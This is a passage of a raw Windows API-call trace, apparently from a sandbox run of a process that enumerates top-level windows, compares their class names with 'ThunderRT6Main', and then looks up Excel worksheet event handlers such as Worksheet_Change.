out: lpdwProcessId=0x0) returned 0x620 [0140.503] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x10166 [0140.503] GetClassNameA (in: hWnd=0x10166, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="remove_Thu_Annotation_wnd") returned 25 [0140.503] lstrcmpA (lpString1="remove_Thu_Annotation_wnd", lpString2="ThunderRT6Main") returned -1 [0140.503] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0 [0140.503] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10168 [0140.503] GetClassNameA (in: hWnd=0x10168, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.503] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.503] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0 [0140.503] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x10162 [0140.503] GetClassNameA (in: hWnd=0x10162, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="pinelaboratoriesreferencedwin") returned 29 [0140.503] lstrcmpA (lpString1="pinelaboratoriesreferencedwin", lpString2="ThunderRT6Main") returned -1 [0140.503] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6bc [0140.504] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x10164 [0140.504] GetClassNameA (in: hWnd=0x10164, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.504] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.504] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6bc [0140.504] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x1015e [0140.504] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="Matches_wnd") returned 11 [0140.504] lstrcmpA (lpString1="Matches_wnd", lpString2="ThunderRT6Main") returned -1 [0140.504] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x744 [0140.504] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x10160 [0140.504] GetClassNameA (in: hWnd=0x10160, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.504] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.504] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x744 [0140.504] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x1015a [0140.504] GetClassNameA (in: hWnd=0x1015a, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="Fresh_cn_Eggs_wnd") returned 17 [0140.504] lstrcmpA (lpString1="Fresh_cn_Eggs_wnd", lpString2="ThunderRT6Main") returned -1 [0140.504] GetWindowThreadProcessId (in: hWnd=0x1015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x508 [0140.504] GetWindow (hWnd=0x1015a, uCmd=0x2) returned 0x1015c [0140.504] GetClassNameA (in: hWnd=0x1015c, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.504] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.504] GetWindowThreadProcessId (in: hWnd=0x1015c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x508 [0140.504] GetWindow (hWnd=0x1015c, uCmd=0x2) returned 0x10156 [0140.504] GetClassNameA (in: hWnd=0x10156, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="what_Volkswagen_app") returned 19 [0140.504] lstrcmpA (lpString1="what_Volkswagen_app", lpString2="ThunderRT6Main") returned 1 [0140.504] GetWindowThreadProcessId (in: hWnd=0x10156, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x760 [0140.504] GetWindow (hWnd=0x10156, uCmd=0x2) returned 0x10158 [0140.504] GetClassNameA (in: hWnd=0x10158, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.504] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.504] GetWindowThreadProcessId (in: hWnd=0x10158, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x760 [0140.504] GetWindow (hWnd=0x10158, uCmd=0x2) returned 0x3010a [0140.504] GetClassNameA (in: hWnd=0x3010a, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="commit_Newman_Rings_win") returned 23 [0140.504] lstrcmpA (lpString1="commit_Newman_Rings_win", lpString2="ThunderRT6Main") returned -1 [0140.504] GetWindowThreadProcessId (in: hWnd=0x3010a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x348 [0140.504] GetWindow (hWnd=0x3010a, uCmd=0x2) returned 0x90154 [0140.504] GetClassNameA (in: hWnd=0x90154, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.505] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.505] GetWindowThreadProcessId (in: hWnd=0x90154, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x348 [0140.505] GetWindow (hWnd=0x90154, uCmd=0x2) returned 0x20116 [0140.505] GetClassNameA (in: hWnd=0x20116, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0140.505] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0140.505] GetWindowThreadProcessId (in: hWnd=0x20116, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0140.505] GetWindow (hWnd=0x20116, uCmd=0x2) returned 0x1014a [0140.505] GetClassNameA (in: hWnd=0x1014a, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0140.505] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0140.505] GetWindowThreadProcessId (in: hWnd=0x1014a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0140.505] GetWindow (hWnd=0x1014a, uCmd=0x2) returned 0x10148 [0140.505] GetClassNameA (in: hWnd=0x10148, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0140.505] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0140.505] GetWindowThreadProcessId (in: hWnd=0x10148, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0 [0140.505] GetWindow (hWnd=0x10148, uCmd=0x2) returned 0x2013e [0140.505] GetClassNameA (in: hWnd=0x2013e, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0140.505] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0140.505] GetWindowThreadProcessId (in: hWnd=0x2013e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0140.505] GetWindow (hWnd=0x2013e, uCmd=0x2) returned 0x10132 [0140.505] GetClassNameA (in: hWnd=0x10132, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0140.505] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0140.505] GetWindowThreadProcessId (in: hWnd=0x10132, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0 [0140.505] GetWindow (hWnd=0x10132, uCmd=0x2) returned 0x10134 [0140.505] GetClassNameA (in: hWnd=0x10134, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.505] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.505] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0 [0140.505] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x1012a [0140.505] GetClassNameA (in: hWnd=0x1012a, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="ATL:000007FEFC1141F0") returned 20 [0140.505] lstrcmpA (lpString1="ATL:000007FEFC1141F0", lpString2="ThunderRT6Main") returned -1 [0140.505] GetWindowThreadProcessId (in: hWnd=0x1012a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0140.505] GetWindow (hWnd=0x1012a, uCmd=0x2) returned 0x1012c [0140.505] GetClassNameA (in: hWnd=0x1012c, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.505] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.505] GetWindowThreadProcessId (in: hWnd=0x1012c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0140.505] GetWindow (hWnd=0x1012c, uCmd=0x2) returned 0x10120 [0140.505] GetClassNameA (in: hWnd=0x10120, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0140.505] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0140.505] GetWindowThreadProcessId (in: hWnd=0x10120, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0140.505] GetWindow (hWnd=0x10120, uCmd=0x2) returned 0x10122 [0140.505] GetClassNameA (in: hWnd=0x10122, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.505] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.505] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0140.506] GetWindow (hWnd=0x10122, uCmd=0x2) returned 0x1011e [0140.506] GetClassNameA (in: hWnd=0x1011e, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0140.506] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0140.506] GetWindowThreadProcessId (in: hWnd=0x1011e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0140.506] GetWindow (hWnd=0x1011e, uCmd=0x2) returned 0x200c0 [0140.506] GetClassNameA (in: hWnd=0x200c0, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.506] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.506] GetWindowThreadProcessId (in: hWnd=0x200c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0140.506] GetWindow (hWnd=0x200c0, uCmd=0x2) returned 0x200ae [0140.506] GetClassNameA (in: hWnd=0x200ae, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0140.506] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0140.506] GetWindowThreadProcessId (in: hWnd=0x200ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0140.506] GetWindow (hWnd=0x200ae, uCmd=0x2) returned 0x200b0 [0140.506] GetClassNameA (in: hWnd=0x200b0, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0140.506] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0140.506] GetWindowThreadProcessId (in: hWnd=0x200b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0140.506] GetWindow (hWnd=0x200b0, uCmd=0x2) returned 0x200b4 [0140.506] GetClassNameA (in: hWnd=0x200b4, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.506] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.506] GetWindowThreadProcessId (in: hWnd=0x200b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0140.506] GetWindow (hWnd=0x200b4, uCmd=0x2) returned 0x200bc [0140.506] GetClassNameA (in: hWnd=0x200bc, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.506] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.506] GetWindowThreadProcessId (in: hWnd=0x200bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0140.506] GetWindow (hWnd=0x200bc, uCmd=0x2) returned 0x300ca [0140.506] GetClassNameA (in: hWnd=0x300ca, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.506] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.506] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0140.506] GetWindow (hWnd=0x300ca, uCmd=0x2) returned 0x800a0 [0140.506] GetClassNameA (in: hWnd=0x800a0, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0140.506] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0140.506] GetWindowThreadProcessId (in: hWnd=0x800a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0140.506] GetWindow (hWnd=0x800a0, uCmd=0x2) returned 0x20018 [0140.506] GetClassNameA (in: hWnd=0x20018, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0140.506] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0140.506] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x54c [0140.506] GetWindow (hWnd=0x20018, uCmd=0x2) returned 0x2001a [0140.506] GetClassNameA (in: hWnd=0x2001a, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.506] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.506] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x54c [0140.506] GetWindow (hWnd=0x2001a, uCmd=0x2) returned 0x2001c [0140.506] GetClassNameA (in: hWnd=0x2001c, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0140.507] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0140.507] GetWindowThreadProcessId (in: hWnd=0x2001c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x43c [0140.507] GetWindow (hWnd=0x2001c, uCmd=0x2) returned 0x20016 [0140.507] GetClassNameA (in: hWnd=0x20016, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.507] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.507] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x43c [0140.507] GetWindow (hWnd=0x20016, uCmd=0x2) returned 0x200a2 [0140.507] GetClassNameA (in: hWnd=0x200a2, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0140.507] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0140.507] GetWindowThreadProcessId (in: hWnd=0x200a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0140.507] GetWindow (hWnd=0x200a2, uCmd=0x2) returned 0x20108 [0140.507] GetClassNameA (in: hWnd=0x20108, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.507] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.507] GetWindowThreadProcessId (in: hWnd=0x20108, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0140.507] GetWindow (hWnd=0x20108, uCmd=0x2) returned 0x10106 [0140.507] GetClassNameA (in: hWnd=0x10106, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0140.507] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0140.507] GetWindowThreadProcessId (in: hWnd=0x10106, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x588 [0140.507] GetWindow (hWnd=0x10106, uCmd=0x2) returned 0x10102 [0140.507] GetClassNameA (in: hWnd=0x10102, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0140.507] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0140.507] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0140.507] GetWindow (hWnd=0x10102, uCmd=0x2) returned 0x100fc [0140.507] GetClassNameA (in: hWnd=0x100fc, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0140.507] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0140.507] GetWindowThreadProcessId (in: hWnd=0x100fc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544 [0140.507] GetWindow (hWnd=0x100fc, uCmd=0x2) returned 0x5008e [0140.507] GetClassNameA (in: hWnd=0x5008e, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0140.507] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0140.507] GetWindowThreadProcessId (in: hWnd=0x5008e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0140.507] GetWindow (hWnd=0x5008e, uCmd=0x2) returned 0x10084 [0140.507] GetClassNameA (in: hWnd=0x10084, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0140.507] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0140.507] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x518 [0140.507] GetWindow (hWnd=0x10084, uCmd=0x2) returned 0x10082 [0140.507] GetClassNameA (in: hWnd=0x10082, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0140.507] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0140.507] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0140.507] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x1007e [0140.507] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0140.507] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0140.508] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0140.508] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x10080 [0140.508] GetClassNameA (in: hWnd=0x10080, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.508] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.508] GetWindowThreadProcessId (in: hWnd=0x10080, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0140.508] GetWindow (hWnd=0x10080, uCmd=0x2) returned 0x10076 [0140.508] GetClassNameA (in: hWnd=0x10076, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.508] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.508] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0140.508] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10064 [0140.508] GetClassNameA (in: hWnd=0x10064, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.508] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.508] GetWindowThreadProcessId (in: hWnd=0x10064, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0140.508] GetWindow (hWnd=0x10064, uCmd=0x2) returned 0x10110 [0140.508] GetClassNameA (in: hWnd=0x10110, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="#43") returned 3 [0140.508] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0140.508] GetWindowThreadProcessId (in: hWnd=0x10110, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x66c [0140.508] GetWindow (hWnd=0x10110, uCmd=0x2) returned 0x10112 [0140.508] GetClassNameA (in: hWnd=0x10112, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.508] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.508] GetWindowThreadProcessId (in: hWnd=0x10112, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x66c [0140.508] GetWindow (hWnd=0x10112, uCmd=0x2) returned 0x10060 [0140.508] GetClassNameA (in: hWnd=0x10060, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0140.508] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0140.508] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0140.508] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x1004c [0140.508] GetClassNameA (in: hWnd=0x1004c, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0140.508] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0140.508] GetWindowThreadProcessId (in: hWnd=0x1004c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0140.508] GetWindow (hWnd=0x1004c, uCmd=0x2) returned 0x10042 [0140.508] GetClassNameA (in: hWnd=0x10042, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10 [0140.508] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1 [0140.508] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0140.508] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x3003e [0140.508] GetClassNameA (in: hWnd=0x3003e, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8 [0140.508] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1 [0140.508] GetWindowThreadProcessId (in: hWnd=0x3003e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0140.509] GetWindow (hWnd=0x3003e, uCmd=0x2) returned 0x10048 [0140.509] GetClassNameA (in: hWnd=0x10048, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="Dwm") returned 3 [0140.509] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1 [0140.509] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x124 [0140.509] GetWindow (hWnd=0x10048, uCmd=0x2) returned 0x10040 [0140.509] GetClassNameA (in: hWnd=0x10040, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.509] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.509] GetWindowThreadProcessId (in: hWnd=0x10040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0140.509] GetWindow (hWnd=0x10040, uCmd=0x2) returned 0x200fe [0140.509] GetClassNameA (in: hWnd=0x200fe, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0140.509] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0140.509] GetWindowThreadProcessId (in: hWnd=0x200fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0140.509] GetWindow (hWnd=0x200fe, uCmd=0x2) returned 0x1011c [0140.509] GetClassNameA (in: hWnd=0x1011c, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.509] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.509] GetWindowThreadProcessId (in: hWnd=0x1011c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0140.509] GetWindow (hWnd=0x1011c, uCmd=0x2) returned 0x1011a [0140.509] GetClassNameA (in: hWnd=0x1011a, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17 [0140.509] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1 [0140.509] GetWindowThreadProcessId (in: hWnd=0x1011a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0140.509] GetWindow (hWnd=0x1011a, uCmd=0x2) returned 0x100ec [0140.509] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="Progman") returned 7 [0140.509] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1 [0140.509] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0140.509] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x0 [0140.509] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x6edcee0 [0140.509] IMalloc:Free (This=0x7feffc15380, pv=0x6edcee0) [0140.621] ITypeInfo:RemoteGetDocumentation (in: This=0xb3e3928, memid=1545, refPtrFlags=0x28efd0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xb6000000d6 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xb6000000d6) returned 0x0 [0140.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Change", cchWideChar=7, lpMultiByteStr=0x28f020, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Change", lpUsedDefaultChar=0x0) returned 7 [0140.621] _mbscpy_s (in: _Dst=0x28ee70, _DstSizeInBytes=0x11, _Src=0x6762d5a | out: _Dst=0x28ee70) returned 0x0 [0140.621] _mbscpy_s (in: _Dst=0x28ee7a, _DstSizeInBytes=0x7, _Src=0x28f020 | out: _Dst=0x28ee7a) returned 0x0 [0140.621] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_Change") returned 0x10539f [0140.621] ITypeInfo:RemoteGetDocumentation (in: This=0xb3e3928, memid=1543, refPtrFlags=0x28efd0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0140.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x28f020, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16 [0140.622] _mbscpy_s (in: _Dst=0x28ee70, _DstSizeInBytes=0x1a, _Src=0x6762d5a | out: _Dst=0x28ee70) returned 0x0 [0140.622] _mbscpy_s (in: _Dst=0x28ee7a, _DstSizeInBytes=0x10, _Src=0x28f020 | out: _Dst=0x28ee7a) returned 0x0 [0140.622] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1 [0140.623] ITypeInfo:RemoteGetDocumentation (in: This=0xb3e3928, memid=1537, refPtrFlags=0x28e370, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0140.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x28e3c0, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18 [0140.623] _mbscpy_s (in: _Dst=0x28e210, _DstSizeInBytes=0x1c, _Src=0x6762d5a | out: _Dst=0x28e210) returned 0x0 [0140.623] _mbscpy_s (in: _Dst=0x28e21a, _DstSizeInBytes=0x12, _Src=0x28e3c0 | out: _Dst=0x28e21a) returned 0x0 [0140.623] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0140.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Database", cchWideChar=-1, lpMultiByteStr=0x260f80, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 